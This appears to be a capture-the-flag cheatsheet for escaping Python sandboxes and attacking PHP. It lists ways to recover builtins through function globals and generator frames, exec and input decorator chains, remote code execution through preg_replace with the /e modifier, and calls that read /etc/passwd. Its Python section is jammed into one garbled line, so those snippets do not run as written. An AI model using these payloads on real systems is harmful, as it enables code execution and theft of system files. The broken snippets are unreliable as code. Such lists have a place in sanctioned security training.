Fuck Jails
Pyjail Cheatsheet
(lambda:...).__globals__# obtain builtins from generators(_ for _ in ()).gi_frame.(await _ for _ in ()).ag_frame.f_builtins@exec@inputdef a():Can be classpass# walrus operator (>= python3.8)+[a:=().__doc__, print(a)]-(lambda a: print(a))(().__doc__)
Php Cheatsheet
// Is this a string ?
$obfs = "1"; //string "1"
$obfs++; //int 2
RCE via preg_replace()
preg_replace(pattern,replace,base);
preg_replace("/a/e","phpinfo()","x")
// Can we read /etc/passwd ?
file_get_contents("/etc/passwd");
readfile("/etc/passwd");
fopen("/etc/passwd","r");
include("/etc/passwd");
require_once("/etc/passwd");